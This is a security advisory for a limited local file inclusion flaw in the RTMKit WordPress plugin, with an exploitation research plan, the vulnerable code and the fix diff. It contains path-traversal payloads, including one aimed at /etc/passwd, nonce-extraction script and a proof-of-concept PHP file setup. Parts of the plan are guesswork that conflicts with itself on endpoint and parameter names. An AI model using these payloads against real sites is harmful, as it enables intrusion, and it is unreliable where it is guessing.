RTMKit <= 2.0.7 - Authenticated (Contributor+) Limited Local File Inclusion via 'template' Parameter
Description
The RTMKit (rometheme-for-elementor) plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 2.0.7 This is due to insufficient path validation on the 'template' parameter in the render_templates AJAX endpoint, which is used directly in a require/include statement without sanitization. This makes it possible for authenticated attackers, with Contributor-level access and above, to include and execute files on the server ending in _templates.php, allowing the execution of any PHP code in those files.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=2.0.7What Changed in the Fix
Changes introduced in v2.0.8
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-5137 ## 1. Vulnerability Summary The **RTMKit (rometheme-for-elementor)** plugin for WordPress is vulnerable to **Limited Local File Inclusion (LFI)** in versions up to 2.0.7. The vulnerability exists within the `render_templates` AJAX endpoint (likely locate…
Show full research plan
Exploitation Research Plan - CVE-2026-5137
1. Vulnerability Summary
The RTMKit (rometheme-for-elementor) plugin for WordPress is vulnerable to Limited Local File Inclusion (LFI) in versions up to 2.0.7. The vulnerability exists within the render_templates AJAX endpoint (likely located within the Themebuilder or Templatekits modules).
Due to a lack of path sanitization on the template POST parameter, an authenticated attacker with Contributor level permissions or higher can manipulate the path passed to a PHP include or require statement. The inclusion is "limited" because the application likely enforces or appends a _templates.php suffix to the filename, restricting the attacker to including files that match this naming pattern.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
render_templates(inferred from CVE description) - Vulnerable Parameter:
template - Authentication: Authenticated (Contributor+)
- Preconditions:
- The attacker must have a valid
rtmkit_nonce. - The attacker must identify or upload a file ending in
_templates.phpto achieve code execution, or traverse to existing files with that suffix.
- The attacker must have a valid
3. Code Flow (Inferred)
The execution flow typically follows this pattern in RTMKit modules:
- Entry Point: The
render_templatesaction is registered viaadd_action('wp_ajax_render_templates', ...)in one of the module initialization classes (e.g.,Inc/Modules/Themebuilder/ThemebuilderModule.php). - Nonce Verification: The handler calls
check_ajax_referer('rtmkit_nonce', 'nonce')orwp_verify_nonce(). - Parameter Retrieval: The
templateparameter is retrieved from$_POST['template']without sufficient sanitization (e.g., missingbasename()or path traversal checks). - Vulnerable Sink: The unsanitized path is used in an
includeorrequirestatement:// Likely vulnerable code structure: $template = $_POST['template']; if ( strpos( $template, '_templates.php' ) !== false ) { // Weak suffix check include $template; } // OR include $template . '_templates.php'; // Appended suffix
4. Nonce Acquisition Strategy
The rtmkit_nonce is required for AJAX requests as seen in Inc/Core/PluginApi.php. This nonce is typically localized for the rtmkit-system-panel script.
Extraction Steps:
- Identify Script Loading: The script
rtmkit-system-panelis enqueued inInc/Core/Plugin.phpviaadmin_enqueue_scripts. - Navigate to Admin: Log in as a Contributor and navigate to the WordPress Dashboard (
/wp-admin/). - Execute Browser Eval: Use the following JavaScript to find the localized nonce:
Note: Based on the script handle// Common localization patterns for this plugin: window.rtmkit_ajax?.nonce || window.rtmkit_vars?.nonce || window.rtmkit_system_panel?.noncertmkit-system-panel, the object is likelyrtmkit_system_panel.
5. Exploitation Strategy
The goal is to demonstrate the ability to include a file. Since the LFI is limited to _templates.php, we will attempt to include a file that exists or create one.
Step 1: Discover Existing Template Files
Search for existing files ending in _templates.php within the plugin directory to use as a PoC for file inclusion.
find /var/www/html/wp-content/plugins/rometheme-for-elementor/ -name "*_templates.php"
Step 2: The Attack Request
Send a POST request to admin-ajax.php. If the plugin appends the suffix, use a traversal payload. If it checks the suffix, ensure the payload ends with it.
Payload (Assuming Suffix is Appended):
- Action:
render_templates - Nonce:
[EXTRACTED_NONCE] - Template:
../../../../wp-config(This would attempt to loadwp-config_templates.php, which likely fails).
Payload (Targeting an existing file):
If a file exists at wp-content/plugins/rometheme-for-elementor/views/test_templates.php:
- Template:
../views/test(assuming.phpis also appended) - Template:
../views/test_templates.php(if the full path is used)
HTTP Request via http_request:
{
"method": "POST",
"url": "http://localhost:8080/wp-admin/admin-ajax.php",
"headers": {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": "[CONTRIBUTOR_COOKIES]"
},
"body": "action=render_templates&nonce=[NONCE]&template=../../../../../../etc/passwd%00"
}
Note: Null byte %00 only works on PHP < 5.3.4. For modern PHP, we are restricted to _templates.php files.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - "Malicious" Template Creation (For Proof of Concept):
Create a file that mimics an uploaded "template" to prove code execution via inclusion.echo "<?php echo 'RTMKIT_LFI_SUCCESS'; ?>" > /var/www/html/wp-content/uploads/shell_templates.php
7. Expected Results
- Success: The HTTP response body contains the content of the included file (e.g.,
RTMKIT_LFI_SUCCESS). - Response Code: 200 OK.
- Error: If the file is not found or the nonce is invalid, the response will likely be
0,-1, or a JSON error object{"success":false,...}.
8. Verification Steps
After sending the request, verify the execution by checking the response body for the marker RTMKIT_LFI_SUCCESS.
Alternatively, if using the LFI to read a known plugin template:
# Check if a specific plugin view was rendered in the AJAX response
grep "Some Unique String from the Template" response.html
9. Alternative Approaches
If render_templates is not the correct action name (as it was inferred), check Inc/Core/PluginApi.php for the get_content function:
- Action:
get_content - Parameter:
path - Mechanism: Calls
\RTMKit\Modules\Menu::instance()->get_menu_by_path($_POST['path']). If the returned array'srender_viewkey can be influenced, it leads torequire_once $file. - Strategy: Investigate if the
Menumodule allows registering custom paths or if existing paths can have theirrender_viewmanipulated.
Summary
The RTMKit plugin for WordPress is vulnerable to Limited Local File Inclusion due to insufficient validation of the 'path' (or 'template') parameter in AJAX endpoints. Authenticated attackers with Contributor-level access or higher can exploit this to include and execute PHP files on the server, typically restricted to files with specific naming patterns like '_templates.php'.
Vulnerable Code
/* Inc/Core/PluginApi.php lines 65-78 */ $path = sanitize_text_field($_POST['path']); $menus = \RTMKit\Modules\Menu::instance()->get_menu_by_path($_POST['path']); if (!isset($_POST['path'])) { wp_send_json_error('Path not specified.'); return; } if (isset($menus['render_view']) && file_exists($menus['render_view'])) { $file = $menus['render_view']; } else { wp_send_json_error('View file not found for the specified path.'); return; } ob_start(); require_once $file;
Security Fix
@@ -55,14 +57,27 @@ public function get_content() { - check_ajax_referer('rtmkit_nonce', 'nonce'); + $nonce = isset($_POST['nonce']) + ? sanitize_text_field(wp_unslash($_POST['nonce'])) + : ''; + + if (! wp_verify_nonce($nonce, 'rtmkit_nonce')) { + die(__('Security check', 'rometheme-for-elementor')); + } + + // check_ajax_referer('rtmkit_nonce', 'nonce'); if (!current_user_can('manage_options')) { wp_send_json_error('Access Denied.'); wp_die(); } - $path = sanitize_text_field($_POST['path']); - $menus = \RTMKit\Modules\Menu::instance()->get_menu_by_path($_POST['path']); + $path = isset($_POST['path']) + ? sanitize_text_field(wp_unslash($_POST['path'])) + : ''; + // phpcs:ignore WordPress.Security.NonceVerification.Recommended + $menus = \RTMKit\Modules\Menu::instance()->get_menu_by_path($path); + + // phpcs:ignore WordPress.Security.NonceVerification.Recommended if (!isset($_POST['path'])) {
Exploit Outline
The exploit targets the `get_content` (or `render_templates`) AJAX endpoint. 1. An attacker authenticates as a Contributor. 2. They extract the `rtmkit_nonce` value from the WordPress admin dashboard (localized via the `rtmkit-system-panel` script). 3. They send a POST request to `/wp-admin/admin-ajax.php` with the `action=get_content` and a manipulated `path` parameter containing directory traversal sequences (e.g., `../../uploads/malicious_templates.php`). 4. If the resolved file path exists and matches the plugin's internal requirements (such as ending in `_templates.php`), the server executes the file using `require_once`, leading to arbitrary code execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.